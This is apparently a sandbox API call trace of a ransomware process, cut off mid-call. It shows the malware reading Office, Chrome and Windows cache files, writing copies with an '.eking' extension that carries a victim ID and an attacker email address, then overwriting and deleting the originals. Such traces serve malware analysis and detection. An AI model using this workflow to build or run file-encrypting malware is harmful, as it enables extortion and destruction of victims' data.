[0200.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0200.424] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=9404416) returned 1 [0200.424] CloseHandle (hObject=0x1b4) returned 1 [0200.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde")) returned 0x20 [0200.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde")) returned 0x20 [0200.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0200.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0200.425] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0200.425] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0200.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0200.425] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0200.612] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0200.715] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0200.754] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0200.935] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0201.057] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0201.087] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0201.203] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0201.270] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0201.318] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0201.349] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0201.637] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0201.985] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0202.013] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0202.241] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0202.459] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0202.687] ReadFile (in: hFile=0x1b4, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x77800, lpOverlapped=0x0) returned 1 [0202.695] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x77810, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x77810, lpOverlapped=0x0) returned 1 [0202.706] WriteFile (in: hFile=0x1a4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0xf2, lpOverlapped=0x0) returned 1 [0202.706] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0202.706] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0202.707] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0202.902] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0202.927] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.152] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.174] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.377] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.398] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.694] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0203.710] WriteFile (in: hFile=0x1b4, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x777f0, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x777f0, lpOverlapped=0x0) returned 1 [0203.711] FlushFileBuffers (hFile=0x1b4) returned 1 [0206.833] FlushFileBuffers (hFile=0x1a4) returned 1 [0207.061] CloseHandle (hObject=0x1b4) returned 1 [0207.932] CloseHandle (hObject=0x1a4) returned 1 [0208.444] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde")) returned 1 [0208.460] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0264.005] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0279.557] ResetEvent (hEvent=0x150) returned 1 [0279.557] SetEvent (hEvent=0x154) returned 1 [0279.557] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0279.558] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=16384) returned 1 [0279.558] CloseHandle (hObject=0x190) returned 1 [0279.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 0x2020 [0279.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 0x2020 [0279.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.558] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0279.559] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0279.559] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0279.559] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0279.559] ReadFile (in: hFile=0x190, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x4000, lpOverlapped=0x0) returned 1 [0279.713] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x4010, lpOverlapped=0x0) returned 1 [0279.722] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x102, lpOverlapped=0x0) returned 1 [0279.722] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0279.722] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0279.723] WriteFile (in: hFile=0x190, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x4000, lpOverlapped=0x0) returned 1 [0279.723] FlushFileBuffers (hFile=0x190) returned 1 [0279.754] FlushFileBuffers (hFile=0x1ac) returned 1 [0279.756] CloseHandle (hObject=0x190) returned 1 [0279.756] CloseHandle (hObject=0x1ac) returned 1 [0279.756] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db")) returned 1 [0279.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0279.757] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=0) returned 1 [0279.757] CloseHandle (hObject=0x1ac) returned 1 [0279.757] ResetEvent (hEvent=0x150) returned 1 [0279.757] SetEvent (hEvent=0x154) returned 1 [0279.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0279.758] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=1209579) returned 1 [0279.758] CloseHandle (hObject=0x1ac) returned 1 [0279.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db")) returned 0x2022 [0279.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db")) returned 0x2022 [0279.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0279.758] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0279.758] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0279.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2022, hTemplateFile=0x0) returned 0x190 [0279.759] ReadFile (in: hFile=0x1ac, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x110100, lpOverlapped=0x0) returned 1 [0279.786] WriteFile (in: hFile=0x190, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x110100, lpOverlapped=0x0) returned 1 [0279.812] ReadFile (in: hFile=0x1ac, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x173eb, lpOverlapped=0x0) returned 1 [0279.813] WriteFile (in: hFile=0x190, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x173f0, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x173f0, lpOverlapped=0x0) returned 1 [0279.815] WriteFile (in: hFile=0x190, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0xf2, lpOverlapped=0x0) returned 1 [0279.815] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0279.815] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0279.815] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x110102, lpOverlapped=0x0) returned 1 [0279.822] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x173e9, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x173e9, lpOverlapped=0x0) returned 1 [0279.822] FlushFileBuffers (hFile=0x1ac) returned 1 [0279.830] FlushFileBuffers (hFile=0x190) returned 1 [0279.986] CloseHandle (hObject=0x1ac) returned 1 [0279.986] CloseHandle (hObject=0x190) returned 1 [0279.987] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db")) returned 1 [0280.001] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0280.738] ResetEvent (hEvent=0x150) returned 1 [0280.738] SetEvent (hEvent=0x154) returned 1 [0280.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0280.739] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=16384) returned 1 [0280.739] CloseHandle (hObject=0x1ac) returned 1 [0280.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")) returned 0x2020 [0280.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")) returned 0x2020 [0280.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.739] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0280.740] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.740] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.740] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0280.740] ReadFile (in: hFile=0x1ac, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x4000, lpOverlapped=0x0) returned 1 [0280.745] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x4010, lpOverlapped=0x0) returned 1 [0280.746] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0xf2, lpOverlapped=0x0) returned 1 [0280.747] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.747] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.747] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x4000, lpOverlapped=0x0) returned 1 [0280.747] FlushFileBuffers (hFile=0x1ac) returned 1 [0280.814] FlushFileBuffers (hFile=0x1c0) returned 1 [0280.823] CloseHandle (hObject=0x1ac) returned 1 [0280.823] CloseHandle (hObject=0x1c0) returned 1 [0280.823] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")) returned 1 [0280.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 